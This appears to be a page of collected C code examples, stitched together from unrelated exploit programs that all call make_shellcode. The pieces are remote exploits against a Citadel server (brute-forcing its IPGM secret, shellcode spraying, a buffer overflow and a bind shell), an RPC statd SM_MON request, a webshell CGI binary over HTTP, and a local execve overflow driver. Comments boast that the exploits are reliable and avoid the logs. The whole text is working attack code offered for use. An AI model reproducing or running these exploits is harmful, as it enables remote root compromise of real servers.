// Flood the citadel server CHANCE_COUNTER times with the shellcode
// to try and make it more likely for the shellcode to be in the right
// place at the right time. This function makes one helluva difference
// to the exploits reliability (100% reliable to date).
void increase_chances(int s, int m) {
	char buf[SIZ];
	int i;

	make_shellcode(buf);
	for(i=0;i<CHANCE_COUNTER;i++) {
		my_send(s, "IPGM %d %s\n", m, buf);
		my_recv(s);
	}
}
Example #2
0
int main(int argc, char *argv[])
{
  char *args[3];
  char *env[2];
  char *target = (argc == 2) ? argv[1] : "/usr/local/bin/target2";

  args[0] = target; args[1] = make_buffer(); args[2] = NULL;
  env[0] = make_shellcode();
  env[1] = NULL;
 
  if (0 > execve(target, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}
Example #3
0
main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i;

  if (argc < 4)
    usage(argv[0]);

  make_shellcode(argv[2], argv[3]);

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name ="localhost";
  monreq.mon_id.my_id.my_prog = 0;
  monreq.mon_id.my_id.my_vers = 0;
  monreq.mon_id.my_id.my_proc = 0;
  monreq.mon_id.mon_name = shellcode;
  
  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd = RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}
int attempt_exploit(void) {
	int magic;

	// Connect to the host and grab the banner
	printf("[-] Connecting to Citadel server (%s) on port %d\n", host, CITADEL_PORT);
	if((sock=connect_to_host(host,CITADEL_PORT)) < 1)
		return sock;
	my_recv(sock);

	// Attempt to brute-force the secret IPGM authentication number.
	// Only do this if magic number is not given on command-line (-i flag).
	magic=magicNumber;
	if(!magic) {
		printf("[-] Starting bruteforce operation ...\n");fflush(stdout);
		if((magic=brute_force(sock))==-1) {
 return BRUTE_FORCE_EXHAUSTED;
		}
		printf("[-] Success! IPGM=%d (seed: %d)\n", magic, seed);
		magicNumber=magic; // set magicNumber so we don't run bruteforcer again

		// Tear down the socket, and reconnect again (to reauthenticate),
		printf("[-] Re-establishing connection to %s ...\n",host);
		my_send(sock, "QUIT\n");
		my_recv(sock);
		close(sock);
		if(!(sock=connect_to_host(host,CITADEL_PORT)))
 return sock;
	}

	// Authenticate as internal program, but unlike the brute-force attempts,
	// tag 4K of shellcode on the end of the request
	printf("[-] Authenticating as internal progam ...\n");
	make_shellcode(buf);
	my_send(sock, "IPGM %d %s\n", magic, buf);
	LOCAL_NET();
	buf[recv(sock,buf,SIZ-1,0)]=0; // don't do this at home, kids!
	if(strncmp(buf, "200",3)) {
		return INCORRECT_IPGM_SECRET;
	}

	// Increase the chance of the shellcode being in the correct place at the
	// correct time by sending it many times... this lets each worker thread
	// in Citserver copy the shellcode into a buffer, making it almost
	// certain that we can jump to it successfully (it hasn't failed once!)
	// Shellcode is stored in a buffer that is used by Citserver to hold
	// text that would normally get logged to stderr. As Citserver usually
	// runs as a daemon, this exploit doesn't show in any logs at all.
	increase_chances(sock,magic);

	// Enter configuration import mode, specifically the 'floor' section,
	// although I think others may be vulnerable too
	printf("[-] Entering config mode ...\n");
	my_send(sock, "ARTV import\n");
	my_recv(sock);
	my_send(sock, "floor\n");

	// Start the vulnerable import process which blindly reads in 6 lines of
	// data. These lines are read into buffers 4K in size, and the data is
	// also truncated at 4K... Unfortunately, the 3rd line goes into a 256
	// byte buffer which, of course, overflows..
	printf("[-] Sending exploit strings ...\n");
	my_send(sock, "a\n");
	my_send(sock, "a\n");

	// Overflow occurs when this buffer is read by the server, so make sure
	// it's padded to the correct size with the evil RET address tagged on
	// the end.
	make_exploitbuf(buf);
	my_send(sock,buf);

	// Send the final 3 lines of text. It can be anything we like...
	make_shellcode(buf);
	for(i=0;i<3;i++)
		my_send(sock,buf);

	// The server will now have RETurned to the new, malicious saved EIP and
	// is executing the shellcode... We close the connection, wait a couple of
	// seconds and then connect to the shell which is bound to port 45295.
	close(sock);

	printf("[-] Waiting before connecting to shell...\n");
	sleep(2);
	printf("[-] Now connecting to shell...\n");
	if(!(sock=connect_to_host(host,SHELL_PORT))) {
		return SHELL_NOT_FOUND;
	}
	printf("[-] Connected! You can type commands now:\n");

        // Now let the attacker issue commands to the remote
        // shell, just as if (s)he had launched 'nc host 45295'.
        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(sock, &rfds);
                retVal=select(sock+1, &rfds, NULL, NULL, NULL);
                if(retVal) {
                        if(FD_ISSET(sock, &rfds)) {
                                buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
                                printf("%s", buf);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
                                send(sock, buf, strlen(buf), 0);
                        }

                }
        } while(retVal && r); // loop until connection terminates

	// Be an environmentally friendly programmer and free resources before exiting...
	close(sock);
	return 1;
}
 main(int argc, char **argv) {
        int ch, websock, shellsock,r=1;
        struct hostent *host;
        struct sockaddr_in saddr;
        char buf[8092];
        struct timespec sleepTime;
        fd_set rfds;
        int retval;

        /*
         * Process command-line args
         */
        while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
                switch(ch) {
                        case 'h':
                                printf("%s",usage);
                                exit(0);
                                break;
                        case 't':
                                strncpy(target, optarg, sizeof(target)-1);
                                break;
                        case 'p':
                                port=atoi(optarg);
                                break;
                        case 'P':
                                root_shell_port=atoi(optarg);
                                break;
                        case 'l':
                                strncpy(location, optarg, sizeof(location)-1);
                                break;
                        default:
                                printf("%s", usage);
                                exit(0);
                                break;
                }
        }

        /*
         * Tell the attacker we're about to start the exploit.
         * Look up the IP address of the host specified on the
         * command-line
         */
        if((host=gethostbyname(target))==NULL) {
                printf("Host not found. Usage:\n%s\n", usage);
                exit(1);
        }
        printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);

        /*
         * Start the bruteforce loop
         */
        for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
                for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
                        /*
                         * Setup the exploit strings and
                         * HTTP headers. The Accept-Encoding header
                         * will hold shellcode: it will be passed
                         * to the environment of webshell giving us
                         * a reasonably predictable RET address.
                         */
                        make_shellcode();
                        make_boundary_buffer();
                        make_exploit_buffer();

                        /*
                         * Now connect to the host and send the exploit
                         * string...
                         */
                        if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
                                perror("socket()");
                                exit(1);
                        }
                        memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                        saddr.sin_family=AF_INET;
                        saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
                        saddr.sin_port=htons(port);
                        printf(".");fflush(stdout);
                        if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
                                perror("connect()");
                                exit(1);
                        }
                        send(websock, exploit_buf, strlen(exploit_buf), 0);
                        close(websock);

                        /*
                         * This pause is needed when exploiting localhost.
                         * It can be ignored against remote hosts (I think!)
                         */
                        sleepTime.tv_sec=0;
                        sleepTime.tv_nsec=SLEEP_TIME;
                        nanosleep(&sleepTime, &sleepTime);

                        /*
                         * If the exploit attempt succeded, there should now
                         * be a r00t shell bound to port xxxxx of the target
                         * box. Lets try and connect to it...
                         */
                        if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
                                perror("socket()");
                                exit(1);
                        }
                        memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                        saddr.sin_family=AF_INET;
                        saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
                        saddr.sin_port=htons(root_shell_port);
                        if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
                                goto CONNECTED; // goto? Damn amateurs...

                        /*
                         * If we get here, the exploit failed. Try the next
                         * iteration of the brute force loop.
                         */
                        close(shellsock);
                }
        }
        /*
         * If we get here, then the bruteforce was exhausted without a
         * succesful exploit.
         */
        printf("\nFailed to exploit the webshell binary. :(\n");
        exit(0);

CONNECTED:
        /*
         * We're now connected to the remote host. Issue
         * some commands... ('id' and 'uname -a' by default)
         */
        printf("\n\nExploit successful!\nIssuing some commands...\n\n");
        if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
                perror("send()");
                exit(1);
        }
        buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
        printf("%s", buf);
        send(shellsock, COMMAND2, strlen(COMMAND2), 0);
        buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
        printf("%s\n", buf);
        printf("You are now at a bash prompt...\n");

        /*
         * Now let the attacker issue commands to the remote
         * shell, just as if (s)he had launched 'nc host 10000'.
         * Note the dodgy coding of assigning NULLs to the buf[]
         * array. What would happen if recv() or read() returned -1 ?
         * You guessed it: we mung some variables on the stack!
         */
        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(shellsock, &rfds);
                retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
                if(retval) {
                        if(FD_ISSET(shellsock, &rfds)) {
                                buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
                                printf("%s", buf);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
                                send(shellsock, buf, strlen(buf), 0);
                        }

                }
        } while(retval && r); // loop until connection terminates
        close(shellsock);
        exit(0);
}